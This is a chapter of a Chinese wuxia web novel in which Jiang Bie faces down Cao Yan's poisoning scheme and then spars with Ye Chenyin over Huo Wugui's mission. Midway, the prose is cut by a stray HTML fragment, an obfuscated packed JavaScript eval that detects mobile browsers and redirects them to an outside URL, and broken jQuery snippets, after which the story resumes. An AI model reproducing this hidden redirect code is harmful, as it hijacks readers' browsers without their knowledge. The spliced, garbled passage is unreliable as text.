这个书房凭水而建，当屋内极静时，便能听到不远处潺潺的水声，混在竹叶微响中。


    曹炎在极其缓慢地捋他的长须，姜别却浑然不觉地移开目光，看向窗边那个香炉。


    “曹堂主这苦肉计演得太过辛苦，刀既已架在了在下的颈间，何必如此大费周章？”


    曹炎动作一顿，语气有些意外：“你竟看得透？”


    姜别转回目光，道：“今日这香只独在这里蒸着，到了明日……又或者今晚，想必所有宾客就都人手一份了。”


    曹炎看向他的目光发生了微妙的变化：“不错。姜谷主才和太子龃龉在先，曹某本还打算借此良机更添一把火的。”


    姜别眉峰微抬，他早知曹炎已经只手遮天，却未料到这厮竟猖狂至此，在光天化日都毫不避讳，“……你不惜给所有人下毒，就为了逼我上这条贼船？”


    “是，也不是，”曹炎被贼船二字逗笑了，“姜谷主，你有点意思。没人敢叫我曹堂主，也没人敢在我面前如此大放厥词。”


    他喟叹一息，指尖随意扶在椅臂上，遗憾道：“若姜谷主当真执意不肯答应……也就是曹某惜才，可以给你留个全尸。”


    姜别反而低笑出声：“何须曹堂主出手？单是毒害各派掌门这一桩，就够江湖同道将我千刀万剐了，更何况还要再背上毒害太子的罪名。”


    他顿了顿，又道：“但其实人们也并不至于尽信，曹堂主这个计划还是有纰漏。”


    “哎，”曹炎不尽赞同，这声的尾音转了三个弯，“那些说书的自会料理，毕竟各派中毒也是事实，只要一个由头，他们能把假的说成真的，这就是人性，压根不需你我操心。”


    姜别听他说完，垂下眸去：“受教。”


    曹炎没想到他如此沉得住气，已不知是今日第几次重新审视姜别，又忽然叹道：“姜谷主与我那小徒年岁相当，你却胜他太多。”


    “时也命也，”姜别挺谦虚，“一年前我还在玉云谷里干苦差事，没想到现在也成了盘江狂墨面前的红人。”


    “你们学医的都是苦差事，”曹炎挑了下眉，“我与令尊打过交道，应该说他有意与我攀交，不过他才气虽有，却道行粗浅，不值得曹某花功夫。如今才知，原来那草包的身后，另有一座真佛。”


    姜别坐得清端。


    曹炎看向姜别的目光很深，带着在江湖和生意场上淬炼出来的锐利。


    在这道目光里，姜别唇边那些微末的笑意已经无影无踪，“看来曹堂主今日是不会放过我了。”


    他不再等曹炎的回话，反而从桌上捻了个果核，一弹指，窗边的香炉应声而碎，香粉四散。


    “此香不加蒸制则无毒，最宜解暑，取清果之甜，得沉香之雅。”姜别目光沉静，缓缓吐字，“曹堂主，记得用之有道。”


    曹炎斜眼扫过，指节在桌上一叩，两个婢女应声推门而入。紧闭的书房门被打开的瞬间，满屋子的压抑终于烟消云散。


    一直到侍女收拾完退下，二人谁都没提合作那事，却已经在默然间达成了共识。


    曹炎递给了姜别一本名册，上面列满了大江南北所有叫得上名号的药学宗门。


    姜别目光掠过，便明白这大概是曹炎拟定加入药盟的门派名单。整个名单几乎囊括了整个江湖，唯独卷尾几个门派有些眼生，他的指尖在纸面点了点：“这些是什么来头？”


    曹炎垂眼：“是扎纳族的巫医。”


    姜别疑道：“扎纳狼族？”


    扎纳族生于漠北绿洲之中，世人常称其为狼族，三绝之一的银山狼啸便是狼族的首领。


    旱海荒漠与接天绝峰将中原和扎纳分隔而开，两边几乎不来往，再仔细一看，那几个门派后面标注着“洽谈”的字样，应该还没谈拢。


    姜别突然觉得有趣，纵使在中原武林翻云覆雨的曹炎，原来也有够不着的地方。


    这份名单因这些巫医的名号而陡然贵重三分，姜别几乎能想象药盟一事经公开后江湖上将会掀起何等风波。


    ——连与世隔绝的扎纳大巫都入了药盟，哪个门派还敢拿乔？


    无商不奸，无奸不商，此言当真童叟无欺。


    所以，现在摆在姜别面前的有两条路，要么被全江湖追杀，从此再无安生，要么当继慕容临之后的下一个傀儡。


    但其实，姜别也并非完全没有拒绝的余地。


    一本夜明集不足以让他为曹炎卖命，而这看似无解的嫁祸局其实也并非死棋。


    他可以不当玉云谷主，反正他对那些虚名也没有什么兴趣。


    江湖，庙堂，有太多东西没法一言以蔽之。这么多年来，姜别一直在问自己到底想要什么，后来他想通了，他要让这一路上所有负过他的人血债血偿。这个念头从手刃郑钧开始，到最后只能有一个出路。


    那是一条不归路。


    若放在一年前，面对如此威逼，他此刻早该拂袖而去。


    那时姜越还没死，他还没下山。


    也还没和那人重逢。


    -----


    从曹炎那书房出来后，姜别心中闷得厉害。


    薄薄半本夜明集烧得手心生疼，姜别面无表情地垂首看了那又破又烂的残卷片刻，随手塞进袖中。


    他缓缓呼出一口浊气，仰头向天，春日正好。


    是时，风起，云动。


    姜别眼皮一跳，几乎是本能的侧首一倾，一道掌风擦着面具的边缘而过，无声的疾风扬起几缕鬓边青丝。


    他瞳孔微缩，几乎是同一时间便反手掷针而出，再回身看去，原来方才出招的是一锦衣女子，而她只踏风旋身，竟将姜别这迅捷无影的几针躲了过去。


    姜别皱眉，于十步开外站定。


    这女子也未再进攻，似乎方才几招仅是试探而已。


    “什么人？”姜别面色发冷。


    那女子却一抱拳，傲然道：“姜谷主，奉劝一句，你还是尽快离开此地比较好。”


    姜别此时浑身都散发着生人勿近的戾气，“阁下大动干戈，原来是为了多管闲事。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901190|185342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “非也，所你再如上次一般从中作梗，就休怪我无情了。”


    “上次？”


    “青霞门那次，姜谷主应该记得很清楚。”


    姜别眯起眼：“阁下姓叶？”


    女子并未否认。


    姜别了然，此人就是霍无归那师妹，叶尘音。


    “青霞门那事又与阁下何干？”


    叶尘音道：“那次不关我的事，但此次事关重大，若师兄再因你痛失好局，你自己可以想想他会有什么结局。”


    “可他跟我说他这次并非为了任务来的。”


    “此话不假，但……”


    “也就是说，这次是有关你的任务，”姜别一顿，“你的任务，与我何干？”


    叶尘音勃然：“你——”


    姜别懒得再争辩，转身就走。叶尘音哪里肯让他走，再次出招阻挠，姜别见招拆招，两边再次拉开。


    有银面具遮着，姜别的姿态落在外人眼中仍是一贯的从容温润，唯有唇角那丝微微向下的弧度暴露了他此时的不耐。


    “叶姑娘，你也不必多费口舌劝我，倒不如直接告诉我霍无归欠了你什么人情，又为什么要帮你做任务。“


    叶尘音道：“若我直言，你便依言离去？“


    姜别则道：“在下自有掂量。”


    叶尘音沉默了，显然是在忖度姜别此人值不值得信任，良久，才道：“他之前在半个月内替我完成了三件任务，我才破格答应与他一起来烟雨十二阑。他从未做过出格之事，先前却因你而第一次任务失败，倘若此次又是因你出了什么岔子，我必要在公主面前参他擅离职守之罪。”


    “……他是自己要来的？”


    叶尘音冷哼：“我还能逼他不成？若非他帮我许多，我也不可能冒着被公主发现的风险替他瞒着，所以，任务成功也就罢了，倘若任务失败……”


    后面的话姜别没听清，他满脑子都只有一个念头：怪不得霍无归足足半个月都没来找他。


    不是不想见他，而是为了这次机会，忙到不能来见他。


    这个念头跳进脑海的时候，姜别突然觉得方才在曹炎那里郁结的不悦都化成了轻渺的云雾，跟着春日里和煦的东风一起，从心底里一扫而过，一散而空。


    叶尘音不明所以，只能看到姜别面具下的那双眼突然明莹起来，便道：“那你什么时候走？”


    姜别弯了弯唇，“我考虑考虑。”


    叶尘音：“还要考虑？”


    “我是冲着花朝礼来的，好容易才胜了李涂，总不能空着手回去。”


    “你出尔反尔？！”


    “此话怎讲？我又没有答应。”


    叶尘音怒了：“姜别！”


    “叶姑娘仔细言语，在下可是烟雨十二阑的座上宾，”姜别笑道，“当心引来曹炎的人，叶姑娘偷鸡不成蚀把米，可就得不偿失了。”


    叶尘音果然噤声，却是满脸不甘。


    姜别疏离友好地欠身一礼，在叶尘音愤怒的目光中扬长而去。